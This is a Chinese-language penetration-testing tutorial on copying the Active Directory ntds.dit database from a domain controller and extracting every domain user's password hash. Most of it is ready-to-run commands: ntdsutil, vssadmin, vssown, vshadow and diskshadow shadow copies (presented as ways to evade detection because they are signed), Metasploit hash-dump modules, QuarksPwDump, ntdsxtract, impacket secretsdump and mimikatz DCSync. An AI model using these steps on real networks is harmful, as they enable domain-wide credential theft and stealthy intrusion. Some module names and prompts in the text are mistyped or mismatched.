一、介绍 Ntds.dit(也被称为Active Directory database)包含了当前域用户中所有的用户的账号信息,和其HASH值,默认路径为:C:\Windows\NTDS,且只能通过域控制器进程和协议访问。
直接复制是复制不出来的,会提示文件已在Encrypting File System(EFS)中打开
二、Ntdsutil工具提取
ntdsutil.exe是一个Active Directory提供管理设施的命令行工具。可使用ntdsutil.exe执行Active Directory的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用Active Directory安装向导(DCPromp.exe)成功降级的域控制器留下的元数据,该工具默认被安装在域控制器上,我们可以在域控制器上进行操作,也可以通过域内机器远程在域控制器上操作
支持的操作系统:Server 2003、Server 2008、Server 2012
1 ntdsutil snapshot "activate instance ntds" create quit quit
1 ntdsutil snapshot "List All" quit quit
1 ntdsutil snapshot "mount {GUID}" quit quit
1 copy C:\$SNAP_202202281107_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
这样子就可以把ntds文件复制出来了
1 ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
三、vssadmin工具提取
vssadmin1是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的“diff空间”)的大小等。支持的操作系统:Server 2008、Server 2012
1 vssadmin create shadow /for=c:
1 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
1 vssadmin delete shadows /for=c: /quiet
四、vssown.vbs
vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务。下载地址:https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
1 cscript vssown.vbs /start
1 cscript vssown.vbs /create c
1 cscript vssown.vbs /list
1 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
1 cscript vssown.vbs /delete {ID}
五、NTDSUTIL的IFM 将ntds.dit复制到C盘下的test文件夹中的Active Directory文件夹中:
1 ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
六、Nishang
Nishang 是一个框架和脚本和有效负载的集合,它支持使用 PowerShell 进行攻击性安全、渗透测试和红队。 Nishang 在渗透测试的所有阶段都很有用。 其中Copy-VSS.ps1脚本,可以有效的下载地址:https://github.com/samratashok/nishang
1 import-module .\Copy-VSS.ps1
七、vshadow
vshadow是一个简单的指令行工具,它允许任何人创建卷影拷贝。因为是微软自带的,所以可以有效的Bypass防火墙。 下载地址:https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/
1 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
八、diskshadow
DiskShadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。默认配置下DiskShadow.exe使用了一种交互式命令解释器,这里跟DiskRaid或DiskPart比较类似。事实上,因为DiskShadow的代码是由微软官方签名的,而且在Windows Server 2008、Windows Server 2012和Windows Server 2016中默认包含了DiskShadow。DiskShadow.exe也是可以用来操作VSS导出ntds.dit,其功能上类似vshadow。它同样是被放在了c:\windows\system32目录中,而vshadow则是被包含在windowsSDK中,实战中可能还需要想办法传到目标机器上,也就是说,diskshadow在我们实际渗透过程中更便于在目标系统上使用。diskshadow拥有交互模式和非交互模式两种,交互模式需要登录远程桌面等图形化管理方法,不利于隐蔽的进行渗透,所以我们一般使用非交互模式进行操作。因为不论是交互模式还是非交互模式都可以使用EXEC通过调取一个脚本文件执行相关命令
先写一个执行计算机的命令保存到c盘
1 echo exec C:\Windows\System32\calc.exe > c:\command.txt
然后使用diskshadow执行即可打开计算机,使用此方法还可以绕过很多waf,比如powershell无文件落地,因为diskshadow自带微软官方签名
1 diskshadow.exe /s c:\command.txt
把以下代码保存到txt并执行
1 2 3 4 5 6 7 8 9 set context persistent nowriters add volume c: alias someAlias create expose %someAlias% k: exec “cmd.exe” /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit delete shadows all list shadows all reset exit
可以看到多出来了一个盘,这个盘的windows\NTDS\文件夹是可以复制出来的
msf中可能用到的模块
1 2 3 4 5 post/windows/gather/ntds_location 该模块可查看ntds路径 post/windows/gather/smart_hashdump 在线导出域账号hash(建议在2012以上使用) auxiliary/admin/smb/psexec_ntdsgrad 利用域管账号,导出ntds必要文件到本地 post/windows/gather/ntds_grabber 利用powershell将ntds必要文件下载到本地后导出 post/windows/gather/credentials/domain_hashdump 介绍其方法
模块:post/windows/gather/ntds_location
该模块可查看ntds路径,首先获取一个域控的shell
获取shell之后,使用模块进行查找路径:
1 2 3 4 msf6 > search ntds msf6 > use post/windows/gather/ntds_location msf6 post(windows/gather/ntds_location) > set SESSION 1 msf6 post(windows/gather/ntds_location) > run
模块:post/windows/gather/smart_hashdump
在线导出域账号hash(建议在2012以上使用)
1 2 3 4 msf6 > search smart_hash msf6 > use post/windows/gather/smart_hashdump msf6 post(windows/gather/smart_hashdump) > set SESSION 1 msf6 post(windows/gather/smart_hashdump) > run
模块:auxiliary/admin/smb/psexec_ntdsgrad
利用域管账号,导出ntds必要文件到本地
1 2 3 4 5 6 7 msf6 > search ntds msf6 > use auxiliary/admin/smb/psexec_ntdsgrab msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set RHOSTS 172.16 .1.169 msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBDomain 域名 msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBUser 用户名 msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBPass 密码 msf6 auxiliary(admin/smb/psexec_ntdsgrab) > run
模块:post/windows/gather/ntds_grabber
利用powershell将ntds必要文件下载到本地后导出
1 2 3 4 msf6 > search ntds_grabber msf6 > use post/windows/gather/ntds_grabber msf6 post(windows/gather/smart_hashdump) > set SESSION 1 msf6 post(windows/gather/smart_hashdump) > run
十、QuarksPwDump导出域账号域散列值
QuarksPwDump是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker等等。
下载地址:https://github.com/tuthimi/quarkspwdump/
1 reg save hklm\system system .hive
QuarksPwDump导出域用户hash到log.txt:
1 QuarksPwDump.exe -dhd -sf system .hive -nt ntds.dit -o log .txt
十一、使用esedbexport恢复ntds.dit
1 sudo apt-get install autoconf automake autopoint libtool pkg-config
下载地址:https://github.com/libyal/libesedb
进行安装
1 2 3 4 5 6 wget https://github.com /libyal/libesedb/releases/download/20200418 /libesedb-experimental-20200418 .tar.gz tar zvxf libesedb-experimental-20200418 .tar.gz ./configure sudo make && make install && ldconfig sudo ldconfig esedbtools/esedbexport
1 esedbexport -m tables ntds.dit
提取完了后会出现一个文件夹,里面存放了很多个表
1 2 3 git clone https://github.com /csababarta/ntdsxtract.git cd ntdsxtract/ python setup.py build && python setup.py install
安装完成后将提取出的tds.dit.export文件夹中的datatable.3和link_table.5文件,以及System文件一起放入ntdsxtract文件夹,system文件位置在
1 C:\Windows\System32\config
如果复制不出来可以使用diskshadow,或者从注册表中导出
1 reg save hklm\system system .hive
然后使用以下命令将域内的所有用户及散列值导出到result.txt文件中
1 python dsusers.py datatable.3 link_table.5 output --syshive system .hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt
十二、使用impacket导出Hash
Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,对于某些协议(如SMB1-3和MSRPC),提供协议实现本身。数据包可以从零开始构造,也可以从原始数据解析,而面向对象的API使使用深层协议层次结构变得简单。
1 2 git clone https://github.com /SecureAuthCorp/impacket.git python setup.py install
1 impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
十三、利用Dcsync获取域用户Hash
Mimikatz有一个名为dcsync的功能,它利用目录复制服务直接读取ntds.dit文件检索哈希值,但是必须使用域管理员权限运行mimikatz才可以读取ntds.dit
1 lsadump::dcsync /domain:god.org /all /csv
1 lsadump::dcsync /domain:god.org /all /user:Administrator